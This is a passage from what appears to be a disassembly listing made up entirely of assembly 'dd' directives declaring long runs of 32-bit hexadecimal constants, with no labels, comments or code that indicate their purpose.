		dd 2BB3C9D4h, 0CB3DC8AFh, 7B65BF0Ah, 20EB0D08h,	718D3B9Eh
		dd 0AB99023Dh, 731C9F16h, 9AE985F3h, 6B9C2D96h,	0BCF8A0DFh
		dd 25342F0Ah, 8D208358h, 5F183C0Ah, 0DA06A26Ch,	0BF83FEF6h
		dd 0D732FE7Ch, 80735558h, 418E5C2h, 0BF95BA58h,	0CE4CA1FFh
		dd 8C3393E4h, 0C8C73B29h, 16426D50h, 0EFFD8955h, 3180CB0Fh
		dd 2A8EE72Ch, 0A0FD9791h, 1B1E0390h, 513D216h, 98FCB0DBh
		dd 76482744h, 0CC88C7ABh, 71C7E625h, 16AEF465h,	0CEC8B14h
		dd 4A59D8E9h, 36169D57h, 0BF107220h, 0E595E672h, 23DBADD3h
		dd 8AC077A5h, 0B74AB4E9h, 954812F3h, 434C9C2Eh,	2EDA3E4Bh
		dd 62A7770Bh, 8E046929h, 0F7001396h, 7EF84BDAh,	42F8BF5Bh
		dd 5CF38102h, 0F603F7C2h, 0D96709D0h, 0E459D119h, 45993D14h
		dd 0F7406889h, 13D6CAB0h, 5A4B3B94h, 440D2A01h,	0CA5E4B24h
		dd 0E5294FEBh, 0DF5B3632h, 0A0E93965h, 0DFBA0922h, 0DF0362h
		dd 945D7FFDh, 0B4BB878h, 4C0D0AD3h, 3484E04h, 8258E288h
		dd 6D71DDD0h, 2CB75341h, 0BD14443Eh, 9BE0020h, 4F1CD116h
		dd 61A0BC46h, 76E4E90Fh, 0BC117055h, 0D2BB03FDh, 0D213F63Eh
		dd 50970BAh, 9206742Dh,	0F0A2BE3Bh, 0F3613185h,	2F391001h
		dd 2E67FF5Bh, 5DCCEDD2h, 2188F05Bh, 0DE2C8404h,	3C1C08FEh
		dd 45136293h, 22112FE9h, 0FBC9CF33h, 0B5B841B0h, 1E95E82Ch
		dd 5F7B2FC1h, 5F602817h, 5060FE8h, 0E55FA287h, 5EF7A922h
		dd 8BA1F377h, 7628EE9h,	0CCECF3F7h, 82968BFh, 0CA0C4C0Dh
		dd 2551C4DDh, 2E7826B1h, 0D02FE11Fh, 0B43118AFh, 0EF4FA79h
		dd 0E3B3530Eh, 62E5DC09h, 58E12800h, 2E6EC780h,	0A5FB07E9h
		dd 16976BBCh, 0C15E590Eh, 0A6E6F9C6h, 0A2685C09h, 79B06411h
		dd 0EBD0156h, 0C15E7120h, 0C6B320E6h, 3DCCE0FBh, 97EF49Fh
		dd 0F5D5AD1h, 8042FE7Eh, 578FE972h, 0E57FF309h,	18FBAD13h
		dd 0F70C900Bh, 29950DC5h, 58B825A1h, 686E1C91h,	82B3E9B1h
		dd 8370E95Ah, 2380F6A0h, 37904A7Dh, 560EF37Dh, 0A443072Ch
		dd 0CCEA0B10h, 3B3BEA2Eh, 872C2B7Dh, 4E1CCD96h,	3D46F367h
		dd 8A145329h, 69AB22F2h, 47B7FE58h, 0E0E9097Fh,	1669C60h
		dd 45C0D74Bh, 0B55FFA89h, 13CF7F50h, 0E9278105h, 912EA273h
		dd 0BF0321A5h, 70177954h, 0CBBA43DCh, 0E0DC5AF1h, 767B5D8h
		dd 0D926EF0Bh, 32998845h, 0F7126227h, 0C8091ECEh, 7F9FB03Bh
		dd 0AE97B902h, 177CD177h, 3D8BEE5Ch, 7EE90776h,	5E462025h
		dd 6A690969h, 89E644DCh, 0C66CF88Ah, 9DB8E49Dh,	0F36B28DCh
		dd 48F22849h, 12D21252h, 0BED2AFB8h, 0E951576Ch, 8017DB26h
		dd 372D1C29h, 0B6526607h, 0A504678h, 0F6C9BF83h, 0F78FE54h
		dd 95A31F5Eh, 8809B307h, 0D6E8D2DAh, 0F3CB80AEh, 33B96A60h
		dd 70DF0E17h, 2A20B808h, 6AAF032Fh, 0C22979CCh,	0E9088840h
		dd 0DF5A0C25h, 0BE038746h, 31B13A4Ah, 2115B0BFh, 954B9A28h
		dd 675C12CAh, 8570B7ACh, 0D8799FEFh, 98962CBAh,	2685F02h
		dd 6078DC27h, 1E0B5BEDh, 6E5DEACFh, 432389CBh, 967F895h
		dd 4F277C97h, 3DE9ECEEh, 0A0B62494h, 0ECA66C09h, 160E4AD1h
		dd 7D6FE7EBh, 4FC69E5Dh, 0EA93FAF6h, 214E588Bh,	120F075Bh
		dd 83DC770Ch, 417DC16Fh, 10264445h, 62D14F18h, 8204FCF7h
		dd 0F989888Ah, 0B472DC2h, 31200AF8h, 0C1507A46h, 9B355858h
		dd 7B02E110h, 0CBC80D84h, 4A0EB892h, 3DA6CD0Bh,	0D2EF4A28h
		dd 0B0655A26h, 3906E98Dh, 1ECDC5F8h, 0D20E7A61h, 5E74BC9Fh
		dd 0B9807FADh, 8312901h, 8127C09Dh, 26840BE6h, 20F76C6Fh
		dd 0D2F262BBh, 972B90A1h, 0E8E5E952h, 0B94E0AE9h, 2B5D7890h
		dd 0F75E1A0Dh, 924010DEh, 2BC5A624h, 61BB159Ah,	75B355Ch
		dd 0F3034BE2h, 804CA5FCh, 0C22FC30Dh, 0A86BD24Bh, 0ED4F76B4h
		dd 290C0FFEh, 0D4E7E985h, 3312AF93h, 4281CFA9h,	6F4DD46Bh
		dd 40B242A4h, 686C47BFh, 4F1B8A73h, 9A4AFD09h, 9E52DD9Bh
		dd 21628B99h, 89C792D1h, 68D3E0DFh, 0E67EE352h,	35E9822Eh
		dd 20D9D7B9h, 0DF485569h, 0CD2F6866h, 84AD2959h, 0C0AB5AE4h
		dd 6BEF8026h, 0C9B0E7E0h, 61E2E9EAh, 0DBF2C7A8h, 1E63712h
		dd 4E92FD01h, 7E0B64h, 7EBC184h, 79BF33E9h, 78688358h
		dd 5B83623Dh, 460234Ch,	5C5DFEA5h, 32E8E8C4h, 92482D4h
		dd 227AC0ECh, 0D12F1DFAh, 0CD5F3E5h, 0C3974386h, 0CE49770Bh
		dd 1C285D67h, 76E90608h, 0C50727DAh, 3313981Ch,	0DFEF89BEh
		dd 0CEEE6D99h, 0C86F71FDh, 69920345h, 4A526C58h, 54AC5E99h
		dd 8312EED7h, 0F2BA7F1h, 0BECB8177h, 20916A82h,	20EA4EF7h
		dd 6813B49Bh, 0A34145Ah, 0E90128EBh, 0EB0BDF5Ah, 62E6775Bh
		dd 545F2225h, 57E8C219h, 0FEC38003h, 28CC1706h,	20BB39D8h
		dd 1A58A31Dh, 8668C23Fh, 471D7D70h, 0C1E939B0h,	4A1CB0D8h
		dd 0D0CBFB66h, 63206809h, 19F096F5h, 847162E9h,	0C5B07F5Bh
		dd 0ECCE5A13h, 0D2BBC0E1h, 0FD6A337Ch, 912BEDCDh, 5096EBADh
		dd 0C939F3EEh, 2980580Ah, 0EF0093DFh, 62EC03A2h, 7B9EC951h
		dd 1C370466h, 0C6E36388h, 99BA5BE4h, 7C28F0CEh,	0F6156E9Dh
		dd 2EDA6146h, 6A87F229h, 55C125ACh, 3FF06EE9h, 0F4126A8Ah
		dd 0C6559C78h, 58035C9Dh, 21AC424Eh, 779248F6h,	353D6812h
		dd 36944DF9h, 12A5BB2Eh, 8005C560h, 131AD039h, 2C112258h
		dd 4100D5Fh, 0C016F25Eh, 6D6C9DBDh, 27F985Ch, 1CAB398Eh
		dd 7E86BE9h, 348E3C0h, 50302527h, 578CCBFFh, 55620F59h
		dd 8BEFF356h, 0BE5917E9h, 3935BE01h, 8F71295Ch,	0B7A1CCF8h
		dd 43424851h, 71580598h, 3D03585h, 1575A788h, 422133E1h
		dd 48312008h, 0D713FFC2h, 6A73FAFEh, 53E9DCB0h,	56156700h
		dd 0F7DD8722h, 0C108D361h, 0A92F04E5h, 0F0C81F58h, 0FDA63D4h
		dd 87270558h, 54EEEE29h, 0D164F08h, 0A8C7F1D3h,	76517669h
		dd 83479029h, 37D82F08h, 0F6C995F6h, 0D01DC5E3h, 0F7ADBBD4h
		dd 6936BF26h, 0F92B8B02h, 0C3716919h, 11A90844h, 0AA7DBC12h
		dd 20502E63h, 45B51EEAh, 3658AF54h, 5D372D01h, 5AF1E95Fh
		dd 0AA57266Fh, 286D5722h, 0F9759CAh, 5745378h, 0E1FB42C4h
		dd 7F417F01h, 23F014EEh, 7E96894h, 0F9D23175h, 3E6B682Ah
		dd 0BC4F20ECh, 69EF93BAh, 4FCF6E6Eh, 0BCBA5201h, 7065C976h
		dd 0DD3B81Dh, 5AD5C2A0h, 0A8A8E8D9h, 94F82CE9h,	27C476Ah
		dd 0D4501BACh, 780C7F70h, 226669E9h, 20B8B8F6h,	5D5E3D81h
		dd 0E25C2339h, 13940FCh, 4A13FE48h, 0C82186AEh,	0AB2FF009h
		dd 2D036C3Dh, 70A2D225h, 4FC65573h, 29E06812h, 5EFFD665h
		dd 0A4EAD2FCh, 0C54A21FAh
		dd 0EBE334EAh, 0E4B44EACh, 549D0101h, 5E7C2F1Eh, 0DB2DC8E8h
		dd 7D7F095Dh, 2C78FF72h, 0FED5CB17h, 1285D5B3h,	0FAB72001h
		dd 7979095Bh, 1C5F351h,	6A06E908h, 0DF48980Eh, 0D25DC214h
		dd 21EE4216h, 849705EEh, 23240721h, 59CF00EBh, 517FEF27h
		dd 7503B904h, 41AF2F4Fh, 9718FF59h, 0B6782009h,	3C269C12h
		dd 0E9464380h, 0BFDF69FBh, 1A48F200h, 0D148017Ah, 3314052Ch
		dd 40AE7F62h, 1848CC8Ah, 0EA3CC127h, 0ED0CF308h, 32868D6Dh
		dd 0D4FEEEE9h, 0AE17A04Ch, 6823881Eh, 0D95D7025h, 0EE962E3h
		dd 660E8176h, 89200E2Dh, 1485A201h, 0D04807C6h,	429D1C25h
		dd 23D13500h, 0DBE9BB91h, 0E3449D36h, 31F3682Dh, 133F87F3h
		dd 5D69FBCCh, 41CE1848h, 38132035h, 0CE42E8AAh,	23947E82h
		dd 243FD17Ch, 2DB9F48Ch, 0A60B5DC6h, 9EB14375h,	15F04C60h
		dd 0BDDD0230h, 0DBB5FED4h, 0B7E9A048h, 0E9055276h, 38BB2CA1h
		dd 7BF551C2h, 0DF3114DDh, 0F50A1D7Dh, 3DCB5661h, 0C9185593h
		dd 65A6E17Ch, 4D4B2B0Ch, 73B94928h, 0CC519592h,	224E7EE6h
		dd 0EF3B058Ah, 6664F7Eh, 1B10BF09h, 0A4BD214Fh,	0EB0F2C5Ah
		dd 0D2BF524Dh, 7C2AA08Bh, 73D0FDEFh, 0A0BA251Eh, 0CE89A6F6h
		dd 6C9AD77Eh, 0C7F67462h, 3389782Fh, 0CA0FF91Eh, 7F682F1h
		dd 0B753C490h, 0FC28259Bh, 0E688A518h, 25E5E918h, 12A4BD56h
		dd 8C03EF2Fh, 0DC9DB9A2h, 206125D2h, 9FBD7E05h,	0AD0F551Bh
		dd 2B1C907Fh, 28BC025Fh, 6C9507EFh, 1F85B609h, 11070B42h
		dd 0AB3BA7Fh, 0F30B950Ch, 0EB6AD419h, 0E94322DCh, 3820C626h
		dd 8F8966B9h, 5250495Bh, 93B1EE2h, 8DF1002Ah, 537A365Fh
		dd 0F805FE9h, 0C2E9669Dh, 0E0A01ED8h, 2BF55593h, 8BE9B904h
		dd 5F596692h, 5C2D67C5h, 40575A95h, 4C19E95Fh, 1D3C8EDh
		dd 7835CA13h, 686FF94Ch, 0B3680EE4h, 0A2BB132Ch, 930690A6h
		dd 5EE926B4h, 684E0531h, 208C9991h, 6E0458BEh, 0F3811D9Ch
		dd 17C465C1h, 3AEE0C85h, 0EBF3C288h, 671F6ED4h,	0E9657142h
		dd 82257D5Dh, 17AF9E2Ch, 49C592E9h, 87DF83BFh, 394E8777h
		dd 145A418Ch, 0BC745D79h, 0CEE03804h, 0A017BB0Ah, 151027ACh
		dd 895B0FEEh, 509D0BFAh, 1D74B5CEh, 4AD2B4C2h, 6973595Dh
		dd 6803AD03h, 0BE841EDBh, 17D268EDh, 8BC1EEBAh,	0A86C68E9h
		dd 0C9EBD11Dh, 98524A91h, 0A936C909h, 0E1E38E03h, 0E9380462h
		dd 352275D1h, 0A9E7CC9Eh, 91DE5A16h, 12FB6C4Ch,	439D0FBBh
		dd 5C440999h, 0E10CAD2h, 1378A868h, 28EA9DBEh, 0BA2C4B3Ch
		dd 5D08400Ah, 689698B5h, 31075ED1h, 7EAD61AAh, 0BF3E8929h
		dd 2AE94768h, 77812D36h, 0B1D3F454h, 4E664FCCh,	0C304C933h
		dd 0B2AE8A9Ah, 5BC282h,	2B826852h, 6305D93h, 12830872h
		dd 0C2ACE963h, 97905EEDh, 44971BABh, 33599709h,	601BE958h
		dd 72EE874Eh, 0AB4E6732h, 0B15B66ECh, 746F402Ah, 364BF140h
		dd 0D2C76BB1h, 3E71FFEEh, 0F451E9E1h, 4306723Ah, 1F928B42h
		dd 77A809FDh, 2002C5FAh, 21BADB30h, 2F7CC1D8h, 0E29908FEh
		dd 0C2232236h, 2995F99Dh, 82B506Fh, 43750C6Bh, 520C0095h
		dd 0E969726Dh, 0E09634F8h, 754721E2h, 549D0DF2h, 0CB04F378h
		dd 0FED117E9h, 135BC2C8h, 0BF03682Ch, 0D5BB021Eh, 0FBCC240Ah
		dd 0DF5E5DE2h, 29BF72C4h, 4D212B50h, 0E172ED94h, 5117D5D1h
		dd 0E58AE8DDh, 0E463E2EAh, 1A83A2FBh, 0F76AD0B5h, 2737B2ECh
		dd 0C1B06270h, 9891D0F7h, 103520E3h, 8E255B76h,	5DAC1416h
		dd 593B5585h, 0AB315213h, 17A10A2Ch, 111790Fh, 9071333Ah
		dd 22013F23h, 48A706A8h, 7CD5CDF5h, 18A80FD5h, 0AF492712h
		dd 0CA162356h, 4EF9A57h, 0AF29C79Eh, 0CB30642Dh, 16579D5Eh
		dd 60545961h, 1BE5BF00h, 0CF81686Eh, 2263901h, 0D45EE91Fh
		dd 7F8D283Bh, 25240641h, 56E43868h, 0C3FCB570h,	0E8F5E979h
		dd 53153F64h, 377DF54Dh, 524E7A4Bh, 9AA4CFF4h, 0CBADBE29h
		dd 4EAD257Ch, 288C31D1h, 9C7976Eh, 0E8B12AD6h, 830CDB7Eh
		dd 17E918C1h, 94067BEh,	0C5F45BF9h, 5211B827h, 0EFB80350h
		dd 485E2C7Ah, 0A5E94088h, 5BC1FC5Dh, 560761ACh,	576EC68h
		dd 467FC174h, 0EC040403h, 2906C140h, 44045AC6h,	58467F45h
		dd 90DBF2BEh, 0D4D7B5Fh, 7B1C2F4Ah, 0E93DECD1h,	2BB0A44Bh
		dd 7E71B505h, 0E99BE9C9h, 0D6D25DDAh, 0CF438F07h, 869290Bh
		dd 0E9040838h, 8DFFBB2Fh, 981E828Bh, 0F4DD4BF5h, 90D52576h
		dd 0BD81E91Fh, 6B69C688h, 1735C877h, 62E899CFh,	7D0BEEA9h
		dd 49773B89h, 70825EE2h, 31254B75h, 13B1E077h, 300290D3h
		dd 0EDC1D580h, 0B0276137h, 2BEA5770h, 5F86A457h, 5B84D7ECh
		dd 5AD0032h, 50731715h,	5853896Eh, 0DE209852h, 68CC03B7h
		dd 38FAE483h, 9894FD59h, 95237D52h, 97035F4Dh, 0DBF412F7h
		dd 7757DA85h, 517D31A9h, 4057E2BDh, 25F98DDh, 472D3014h
		dd 3C5A44F6h, 0F5011A1Ah, 34080AF0h, 0FE88E00Bh, 8E716299h
		dd 0ABD54180h, 510015CFh, 82882B9h, 508DE946h, 5A30C2FDh
		dd 0C470F2F8h, 9A882DCh, 94B7A8A4h, 44DA0719h, 0BFB22059h
		dd 1394974h, 4C120D10h,	0D93D7127h, 0CF402739h,	9D07404Dh
		dd 0FC7BBD13h, 1AEF5034h, 9740AA9Ch, 58815563h,	3C2AF61h
		dd 95EA66B5h, 24805E77h, 0CE89CFDCh, 98D81D2Bh,	0C30D5D95h
		dd 64827AB9h, 0DA8E4A0h, 3A2A4829h, 56BA24B4h, 49B2D8ECh
		dd 0E41E21FFh, 5165ABEh, 0C0AA2EDEh, 0F849F60Fh, 1399D258h
		dd 42FA5EF1h, 938E209h,	0D95F0A62h, 856805E9h, 11518E0Dh
		dd 6148D570h, 0E632B300h, 559CF29h, 97583509h, 20A97645h
		dd 0A7659507h, 76F7FB89h, 11F99572h, 0AEC831C4h, 7C39448Dh
		dd 8A61D385h, 0C8FB4EE5h, 95EABEh, 61A1B8C2h, 4A97B85Ch
		dd 5BFEB028h, 0C9C08F96h, 63313F05h, 3420D237h,	0C47EF9AFh
		dd 2998DA38h, 0A0DD97EAh, 0A0E9C259h, 9B6CBFADh, 4B595722h
		dd 0BC5FB83Ch, 678C2DE9h, 9B20E3E6h, 70D99029h,	0C11AEE87h
		dd 7A6B473Ah, 0DDAC3B5Bh, 0BD580840h, 90802AC5h, 0E908B32Dh
		dd 4015D91h, 7B35FB97h,	2D2A5208h, 0FC0647F8h, 5B0E434Bh
		dd 0F8D00372h, 0D989FED4h, 0E9CE780Bh, 93F60AEh, 0C55A48D1h
		dd 3C540C2Dh, 0BB7E55F2h, 7703E941h, 328EC83Fh,	0C50E9DD3h
		dd 420BC488h, 91FFFB80h, 891F023Ch, 1C9CE9FDh, 0DDCD3EC9h
		dd 81C57E22h, 5C89D88Ah, 0A07A525Dh, 94854793h,	0C5D7A576h
		dd 0A7F5258Ch, 5651B83Fh, 8FE817DCh, 0C9219FD9h, 20954C27h
		dd 2E4A62BFh, 0E602654Ah, 5C28041h, 0AABF0693h,	49E90502h
		dd 5EB0A2E8h, 278C059h,	0A218F226h, 6878D5B1h, 0F85DE882h
		dd 92D9C9Fh, 24AC6A54h,	4C4114BCh, 1747AC7Ah, 65AE28F5h
		dd 0FE701D7h, 3A0AFD34h, 80421B5h, 0E94B41E3h, 603A1009h
		dd 6C8B2860h, 29341BB1h, 0C5F06CC8h, 58C62501h,	80B4C77Fh
		dd 0B096851h, 0E8D62845h, 6BC1FC20h, 43B20F40h,	94A95141h
		dd 8600BEF0h, 885066DEh, 0E8D0F6D8h, 0D858F0C3h, 9A952A19h
		dd 1290BF80h, 0EC273B19h, 787A7DABh, 0CF881AC6h, 930C2E2Ah
		dd 0F5D95AD6h, 67D7E201h, 12ED2F90h, 0E83E7375h, 0FBEBF1C0h
		dd 82CD32Bh, 6812067Eh,	0C18C339Ch, 0F41041B8h,	129C5984h
		dd 0F6F9B440h, 5DCE4D4h, 0E950B353h, 268ED1Ch, 0E54D4CEEh
		dd 91D1C00Fh, 6B87B4C5h, 7824E8E7h, 0C97FE20Fh,	0F6107D48h
		dd 0BFE0952Dh, 1EC4454Bh, 0B65834AFh, 5DE90243h, 0A46CF168h
		dd 0DBA1238Ch, 5BD9FD2Fh
		dd 9681228h, 4AFB1A8Dh,	7D23BAD7h, 68179A14h, 2D380ABEh
		dd 0D7299F05h, 62D9038Bh, 0B308DF2Dh, 897D0882h, 0B1327F2Dh
		dd 98C4DF5h, 0FA51D4B8h, 9A402928h, 7EF10981h, 32706ED2h
		dd 0DE5C5973h, 62BCB508h, 845EB95Fh, 65A8D5E9h,	0C3DA5727h
		dd 71D7F72Fh, 25ABA35Ah, 620152E1h, 4C7B1385h, 409D4A33h
		dd 147CF85Bh, 0E91B5568h, 10BBDE05h, 0D70DC13Ch, 0A5BF049Ch
		dd 9E68E89Eh, 0CF8014C2h, 0EF8DC18Ch, 24EADB97h, 0AF3D8450h
		dd 0F94B42BCh, 77EA8EE8h, 517FCFEFh, 9BDC2FC0h,	0C291B65Eh
		dd 0CC5741C8h, 57502780h, 0B8013ED1h, 0AEA7AC21h, 0E85E8678h
		dd 4F2263FEh, 0C7AB0287h, 743B04F8h, 518CDD60h,	0F4A8275Bh
		dd 6A4CC106h, 393C0C4Bh, 0E9418E75h, 20BED7B2h,	0FEEEA5C9h
		dd 0CBD7F695h, 6025C8DFh, 0BE20D6C9h, 1EB4191h,	49AA6041h
		dd 51014426h, 0E934821Ch, 0D1A5511Ah, 2C4BDDE8h, 42A94A5Fh
		dd 21765627h, 0F7FE0FC9h, 0F1B79DBBh, 3B96DBEh,	0FA596DCAh
		dd 99F2B076h, 0BB3F5EF4h, 57CC9E58h, 2D119AB5h,	54DB34F1h
		dd 59F97289h, 77173C7Bh, 4F62ED62h, 5F067849h, 4C58B098h
		dd 1123D658h, 0B9025CF2h, 7BC25ACFh, 8AAB1DE1h,	8420AF71h
		dd 8F4D5DC1h, 10D9AC64h, 5454652h, 0E72018Eh, 3D54C901h
		dd 0FC2EDB7Dh, 602324Eh, 5047005h, 7F5A7309h, 39A0BF5Eh
		dd 39755C8Fh, 0B30E4E30h, 0DB09EB0Eh, 75642FE9h, 0C40B61E4h
		dd 9786E43h, 0DAA55FB9h, 0BA3484C1h, 0CDFB48D5h, 0EC9B041Ch
		dd 39BA4BD4h, 78AA2F7Dh, 0C4BF21A2h, 0E259200Ch, 7EB03790h
		dd 0A4E60B27h, 5EA46E5Eh, 374E0FEAh, 0E66E40AAh, 0FC8425B6h
		dd 60128B81h, 17620C8Fh, 0CA4B753h, 0F72BCD75h,	0F5556B09h
		dd 0DF7389DCh, 7CF09B32h, 8FEB5D4Eh, 80602556h,	0D55B8B0h
		dd 813B5EEAh, 154A339h,	0CECBD388h, 0B52670B4h,	14AF325Eh
		dd 32759D5Fh, 4BFC71A6h, 0E2D8F104h, 81099F68h,	80DEDC57h
		dd 6C1630F8h, 0CF7E0868h, 470F934Bh, 0C1D0583h,	0F7D9A01h
		dd 0B4416158h, 5F023938h, 0A7BFE7DFh, 0A39B3444h, 76AAC189h
		dd 0F84965ADh, 34DE480Ah, 0C29110CDh, 0BD4266ACh, 51797D07h
		dd 34F38103h, 5BECF443h, 0B3BDF04Bh, 0F21C4F61h, 0A8D6E63h
		dd 0E1E4BDC2h, 86160560h, 62C77A09h, 0C5EE563Ch, 0D6AA2307h
		dd 96C345B9h, 0A3045434h, 0E1F32062h, 4B47F810h, 66525B8h
		dd 82F88206h, 2AF3580Bh, 791A257Dh, 95069053h, 8790C819h
		dd 28F6431h, 4EC6ED83h,	1D24AD9Ah, 299E15EFh, 2041F8EFh
		dd 0D89D9961h, 0F60BBF4Ah, 0B93F6DFDh, 0D468E79Fh, 90895F74h
		dd 57AB8D5Ah, 8703C02Ch, 2B0E770Dh, 0E510626Ch,	0B5511E63h
		dd 0AD1078ACh, 0CD62B61Fh, 2A0E151Fh, 0E0E50EBFh, 84F51D76h
		dd 0C12850EDh, 7CB92178h, 20AC907Dh, 0C580381Ch, 59E8280Eh
		dd 0E895FB32h, 5E10BBCh, 88B36FC3h, 0B4CDF912h,	0D441E1Bh
		dd 7FEA415Dh, 5CE0FAECh, 0F3FB850h, 48681256h, 0D2D609EEh
		dd 559740D8h, 2C005F33h, 71D9790Eh, 0B18DD05h, 2CE91191h
		dd 9A5AD724h, 0F766017Bh, 0E216E9E1h, 0EBC0A684h, 4187FA02h
		dd 0F24AC133h, 20F5C9Ah, 5966EC30h, 68440157h, 0D1111F24h
		dd 39C710FCh, 0F2C53D59h, 685527B0h, 0BE7C1C49h, 0C5C05E4Fh
		dd 0F80BBC09h, 8C174AD8h, 53288216h, 1569D8A7h,	0E945773Ch
		dd 21C16886h, 0FBA64E7Bh, 0BB9529Ch, 265A3FFAh,	0D939768Bh
		dd 842538C5h, 0BD01DAB8h, 6B885131h, 0D9315DB5h, 5E01EC6Bh
		dd 0BDBD37C8h, 6FC1BFB9h, 0CBEC103h, 817B885Eh,	7C2C0BE6h
		dd 0A7804E6Dh, 500514E1h, 174E913h, 9F9B9290h, 0B0CC4E54h
		dd 5F26517Dh, 3901D259h, 893BA860h, 86899A21h, 0C68128D0h
		dd 6F6FF3E9h, 0F78E8DB2h, 440650D0h, 64B36B16h,	3B619501h
		dd 0BA2E5E26h, 547B223h, 0FC44980Eh, 50AFB864h,	42CB3EE4h
		dd 89E35DBBh, 777662D2h, 0EA078520h, 0FBDF76CDh, 592D13C3h
		dd 0B6270885h, 685E3500h, 149D1989h, 0E7EBDCAh,	83A3430Fh
		dd 812F6852h, 0A03A67D7h, 0A1024AD7h, 0F5E90C60h, 0ED400B35h
		dd 52703368h, 0FE14779Dh, 6065BE02h, 0D6563777h, 6F5E1D53h
		dd 0BF016485h, 0F6186B8Bh, 40E93367h, 5213B8B2h, 0D8094FB6h
		dd 0B13D555h, 57B54E04h, 7587EE28h, 0C680FE41h,	0A0D75BE5h
		dd 0F204E6C0h, 0EB0350CEh, 5E635AC5h, 414092CFh, 3816EA71h
		dd 0EF4ADA55h, 0E1B40E51h, 4A98EDEAh, 68E18FFCh, 0C55DCAEBh
		dd 7F93BE7Ah, 5BE3A364h, 0E9121CBDh, 680A80AEh,	9B9765E1h
		dd 0FED49119h, 83A4B378h, 3513C272h, 2A34A96h, 328DC10h
		dd 25CEBA52h, 0CA81D8FAh, 0C0051374h, 5395BA19h, 0A2A704ABh
		dd 0C8DD1C21h, 5737BAC9h, 0EEC9CC9Bh, 17B67B90h, 0E610B349h
		dd 0C15907AFh, 3C920AE8h, 0C9D668BCh, 44D14CF6h, 8B4E504Ch
		dd 305B0198h, 1C4B68C3h, 4A585F48h, 42D9C9A4h, 8902B974h
		dd 10D059E0h, 5E5A7283h, 0D6BC7D8h, 4A479B6Dh, 6FD530E3h
		dd 2D4EB92Eh, 5F35A880h, 0B0424A31h, 4C1F0B97h,	81837507h
		dd 6B483F90h, 0F0100B12h, 0BA4251FEh, 40C22D8Bh, 6E780D80h
		dd 0E9137587h, 0F0BCF0B7h, 0A9659C82h, 0D408D1DCh, 167B243Bh
		dd 9F0BED55h, 0DCE6A7CBh, 21F8212h, 24F71198h, 4183F30Ch
		dd 5B0B91FBh, 2AFBF62Bh, 70BDEFB6h, 54871396h, 0EB0D818Ah
		dd 2071B80Ch, 87FDF501h, 6D63903Fh, 68B7A2F2h, 81DB4D5Ah
		dd 92EF6658h, 0BB034FFh, 0CCDD99BDh, 0B93EE55Bh, 264F1676h
		dd 685BAE30h, 0A34A4F44h, 1440120Ch, 5EF218ACh,	25AD0DE1h
		dd 202C2B20h, 3106417Eh, 0F3A12EA8h, 53DDC83Eh,	0CA86E916h
		dd 817EE3A6h, 5503F379h, 1285D2C5h, 0F90C052Fh,	0AE83C3EAh
		dd 8250A3B7h, 6857807Fh, 7607190Fh, 0CB096566h,	0DFA0B049h
		dd 10B54D66h, 822BCE65h, 385B1760h, 0E60D645Eh,	0A13B0D5Fh
		dd 9783CBDh, 51D27DE9h,	0DCDE8BC1h, 2F8FC475h, 6A66BA7Fh
		dd 3049C92Fh, 8A659204h, 7E7C82E0h, 0E92CB2A6h,	5B9709CFh
		dd 0AEE72E4h, 61B7D85Ch, 1A7D0083h, 0F50167FBh,	8804590h
		dd 88A80AE9h, 0B0BCD81h, 0D713CE22h, 0BE56F500h, 170B1B0Fh
		dd 403EE905h, 1E410D56h, 97574C04h, 0FC82959Ch,	6E874060h
		dd 72D35C03h, 0C8E51B2Dh, 0A8B5E909h, 1883BFF8h, 3E536902h
		dd 11823C96h, 226895EFh, 6C5FBAA0h, 7738D125h, 54CD7200h
		dd 1B76E922h, 4810F501h, 0EA0941B5h, 80FCE260h,	0EB4A8759h
		dd 0F238E3B8h, 9A2DBB4Eh, 2F6EBD7Ah, 0BD7840D5h, 61617CBEh
		dd 435E683Dh, 5FC0894Fh, 0A5D97979h, 517D96D0h,	0E6B538F2h
		dd 37653923h, 0FF596A17h, 0BC3B3A99h, 0F1009295h, 45D38627h
		dd 0C5822EE9h, 2D32403Dh, 0D076759h, 38365E06h,	470E2250h
		dd 0EC05042Bh, 83D8FDD4h, 0B8E5E92Ch, 83960FA7h, 2E4C5EC0h
		dd 13B3120Eh, 0E6DC880Dh, 0FBE9094Fh, 6BF9718Fh, 0BCB25F05h
		dd 0D9EFD694h, 0F4212BDAh, 0FF04C0C1h, 5AB98D93h, 84B1E211h
		dd 0E5470935h, 0EB098E56h, 0CE82E651h, 0E1281062h, 0D9ECA00h
		dd 0CC7E1768h, 69099E3Bh, 0FF4B733Eh, 0AC1F0384h, 0EEC10A96h
		dd 6005A508h, 0DA1EFB59h, 3E168A46h, 86D47DD2h,	9E087299h
		dd 585A0989h, 43753F8Bh, 0F08CEA67h, 5E90B737h,	6A2D39B7h
		dd 48E7C70h, 0E9B350E9h, 30107A5h, 65B37F74h, 8F534CCDh
		dd 1FFD0C24h, 50260B52h, 368D4579h, 0AE2EB8E1h,	0E9C5C833h
		dd 0A63E1F25h, 78A2FE1h, 77F45D98h, 242066F1h, 0A5156169h
		dd 434903E1h, 11816DB8h
		dd 13576C20h, 39EBEB83h, 2B9D21CCh, 0EFE494A8h,	0C824A09Ah
		dd 0C5D72770h, 2ED180D4h, 9BE91B79h, 17B6E853h,	2CFFD601h
		dd 0BBDA5B6h, 0BBE7FD84h, 1E30DB0Dh, 61BFE3D7h,	0C3801BF4h
		dd 579FC30Eh, 0B55150EBh, 0E505C012h, 0C592E906h, 72DAC6E4h
		dd 0E1EDA06Eh, 9321F2Ch, 5F11C60h, 0AB41C90Bh, 3A878339h
		dd 0D9C32EC2h, 6399857h, 5FE1ACB4h, 0EB2EB465h,	0B992D298h
		dd 85C2FCB6h, 12180AE0h, 519AA874h, 0A26E52h, 2FBD55B1h
		dd 82FA8253h, 3AD86E83h, 0D8785879h, 7CC5AE2Dh,	539C63F7h
		dd 46617BB2h, 3D1B216Bh, 14EF95DEh, 8092BEE7h, 428B6C0Ah
		dd 0E94C9F55h, 0B070CD20h, 1019271Ah, 9F982C51h, 0B85051A3h
		dd 681E40DDh, 0EE32032Ah, 0ED923D32h, 6E29FFEDh, 4162D451h
		dd 9BAAAC9Eh, 0E1FC63DFh, 7A7BF589h, 0BC3A5E81h, 0C8CB3D2Bh
		dd 4EFE2FD5h, 0FD392F95h, 5AB5D85Ah, 8000B56Bh,	18E95908h
		dd 684D8161h, 4D7C2ACBh, 632691C0h, 49BF5A13h, 0F27B2A45h
